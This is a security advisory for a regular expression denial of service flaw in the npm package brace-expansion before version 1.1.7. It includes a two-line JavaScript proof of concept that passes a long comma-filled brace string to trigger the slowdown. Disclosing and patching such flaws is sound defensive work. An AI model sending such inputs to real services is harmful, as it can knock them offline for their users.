GHSA-832h-xg76-4gv6HighCVSS 7.5

ReDoS in brace-expansion

Published
January 29, 2018
Last Modified
April 11, 2023

🔗 CVE IDs covered (1)

📋 Description

Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.

Proof of Concept

var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');

Recommendation

Update to version 1.1.7 or later.

🎯 Affected products1

  • npm/brace-expansion:< 1.1.7

🔗 References (7)